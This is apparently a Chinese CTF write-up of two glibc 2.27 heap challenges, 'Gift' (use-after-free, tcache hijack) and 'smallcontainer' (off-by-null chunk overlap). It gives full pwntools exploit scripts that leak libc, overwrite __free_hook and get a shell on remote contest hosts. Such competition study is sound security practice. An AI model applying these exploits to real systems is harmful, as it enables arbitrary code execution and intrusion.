Gift
image-20220831211909452
检查保护机。这题没给libc,我是通过 double free 以及打印fd的内容,判断版本应该是在2.27,小版本我直接用到了最高的去调试。
image-20220831212240031
最多申请十个堆块,只能申请size为0x100或者0x60的堆块,申请后输入的长度比申请少0x10。
image-20220831212508377
释放堆块存在UAF。
image-20220831212802935
只能打印堆块+0x10后的内容。
image-20220831213039296
这里的v2是有符号数,所以如果为负数时,就可以让一个堆块的fd指针加上一个较大的数。
这题花了挺多时间进行构造的,难点在于泄露地址后,再达成一次任意写会发现堆块申请次数不够用,要进行更加节省的构造才行。
想要达成任意写,如果是修改fd,这题又只有在申请堆块时才可以进行写堆块,那么就得申请三次才能达成,在次数紧张的情况下,我又没想到有其他布局可以节省泄露地址使用的次数,就想到了可以通过劫持 tcache bin,修改上面的内容,只需要两次就可以做到任意地址写,节省了一次。
image-20220901105227963
在泄露出堆地址之后,修改fd指针,指向0x70堆块的前0x10位置,然后将堆块分配过去,进行修改0x70的fd指针。这里的三个堆块size是错开的,防止进入同一个tcache bin中。而选择修改0x70堆块覆盖tcache,是因为记录第一个被释放的0x70堆块比较靠前,如果是0x110的太靠后,可写长度不足以覆盖到。
image-20220901105909290
这一步的构造算是最巧的一步了,当初也想了挺久的。在把堆块分配过去后,为了能够出现libc地址,需要去伪造一个size至少为0x420的堆块,所以我借助部分的tcache bin加上之前申请的堆块进行伪造大堆块,(同时这也是另外一个需要申请两个0x110堆块的理由,如果是两个0x70的堆块是不够长的);且需要将其释放掉,则在属于0x70的位置上填入了伪造堆块的地址,可以让堆块分配过来。
image-20220901110006418
伪造fake chunk时,还需要伪造一个尾部堆块,保持堆块内存的连续性。
image-20220901110811658
释放后成功获得libc地址,此时已经申请了八次堆块,还剩下两次申请机会。
image-20220901111124906
两次刚好足够,一次填写地址,一次分配堆块达成任意写,这次就不要再用0x70分配,透支了两次,已经坏掉了。最开始是想要填入system地址的,但是因为堆块的前0x10都是已经填入了内容,使用了||貌似也没办法忽略,所以最后还是用了one_gadget getshell。
QQ图片20220817184118
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF('./pwn') DEBUG = 0 if DEBUG: libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so") ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so") p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path}) else: ip = '123.56.45.214' port = 33027 libc = ELF("./libc-2.27.so") p = remote(ip, port)
def debug(info="b main"): gdb.attach(p, info)
def add(size, content): p.sendlineafter(b"your choice:\n", b'2') p.recvuntil(b"your choice:\n") if size == 0x100: p.sendline(b'1') else: p.sendline(b'2') p.recvuntil(b"plz write your wish on your gift!\n") p.send(content)
def show(idx): p.sendlineafter(b"your choice:\n", b'4') p.recvuntil(b"index?\n") p.sendline(str(idx).encode('ascii'))
def free(idx): p.sendlineafter(b"your choice:\n", b'3') p.recvuntil(b"index?\n") p.sendline(str(idx).encode('ascii'))
add(0x100, 'a') add(0x60, 'a') add(0x100, b'a'*0x70 + p64(0) + p64(0x81)) free(0) free(2) show(2) p.recvuntil(b"cost: ") heap = int(p.recv(14), 10) - 0x250 log.info("heap==>0x%x" %heap) p.sendlineafter(b"your choice:\n", b'5') p.recvuntil(b"index?\n") p.sendline('2') p.recvuntil("How much?\n") p.send(b'-240') free(1) add(0x100, 'a') add(0x100, p64(0) + p64(0x71) + p64(heap + 0x20)) add(0x60, 'a') add(0x60, p64(0) + p64(0x421) + p64(0)*5 + p64(heap + 0x40)) add(0x60, 'a') free(7) show(7) p.recvuntil(b"cost: ") leak = int(p.recv(16), 10) - 0x3ebca0 log.info("libc_base==>0x%x" %leak) free_hook = leak + libc.sym['__free_hook'] sys = leak + libc.sym['system'] ogg = leak + 0x4f302 add(0x100, b"||sh"*2 + p64(0)*12 + p64(free_hook - 0x20)) add(0x100, p64(0)*2 + p64(ogg))
free(8)
p.interactive()
|
smallcontainer
image-20220831202742252
首先确定附件的保护机制以及libc版本号。
image-20220831203907328
可以申请最多17个堆块,大小范围在 0xFF~0x3FF之间,记录堆块地址以及堆块大小。
image-20220831204112120
image-20220831204103067
这里的输入完内容后执行的函数存在问题:填满堆块时,如果下一个堆块的size存在0x11结尾,将会被置0,可看为offbynull。
image-20220831204253467
只能打印fd上的内容。
image-20220831204329537
正常释放堆块,且置0。
显然是要利用offbynull构造堆块重叠,从而泄露地址以及错位修改fd指针,达到任意地址写的目的。
image-20220831205009734
先填充 tcache bin,0x210作为我们的目标堆块。
image-20220831205340121
然后在目标堆块里面,把减少的0x11伪造为一个堆块,保持堆块的连续性。
image-20220831205604626
接着,填充前一个堆块,修改目标堆块的size位。
image-20220831205808341
image-20220831210100052
在将prev size位修改为前几个堆块的总和size,最后释放合并,覆盖堆块就完成了。顺带提一嘴,这样在2.27前还能利用成功,在2.29及以上,就会失败了,程序会去检查头堆块的size是否有prev size这么大。
接下来就是泄露地址,然后错位修改堆块的fd指针,就做完了。
QQ图片20220817194519
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') elf = ELF('./smallcontainer') DEBUG = 0 if DEBUG: libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so") ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so") p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path}) else: ip = '101.200.85.91' port = 37238 libc = ELF("./libc-2.27.so") p = remote(ip, port)
def debug(info="b main"): gdb.attach(p, info)
def add(size): p.sendlineafter(b"> ", b'1') p.recvuntil(b"Input size: ") p.send(str(size).encode('ascii'))
def show(idx): p.sendlineafter(b"> ", b'4') p.recvuntil(b"Input index: ") p.sendline(str(idx).encode('ascii'))
def free(idx): p.sendlineafter(b"> ", b'2') p.recvuntil("Input index: ") p.sendline(str(idx).encode('ascii'))
def edit(idx, content): p.sendlineafter(b"> ", b'3') p.recvuntil("Input index: ") p.sendline(str(idx).encode('ascii')) p.send(content)
add(0x1f8) add(0x1f8) add(0x1f8) add(0x208) for i in range(4,11): add(0x1f8) for i in range(4,11): free(i) edit(3, b'a'*0x1f0 + p64(0) + p64(0x11)) edit(2, b'a'*0x1f8) edit(2, b'a'*0x1f0 + p64(0x600)) free(0) free(3) add(0x100) show(0)
leak = int(p.recv(12),16) - 0x3ec190 log.info("libc_base==>0x%x" %leak) free_hook = leak + libc.sym['__free_hook'] sys = leak + libc.sym['system'] add(0x310) for i in range(7): add(0x1f8) free(1) edit(3 ,b'/bin/sh\x00' + b'a'*0xd8 + p64(0) + p64(0x201) + p64(free_hook)) add(0x1f8) add(0x1f8) edit(11, p64(sys)) free(3)
p.interactive()
|
happy_note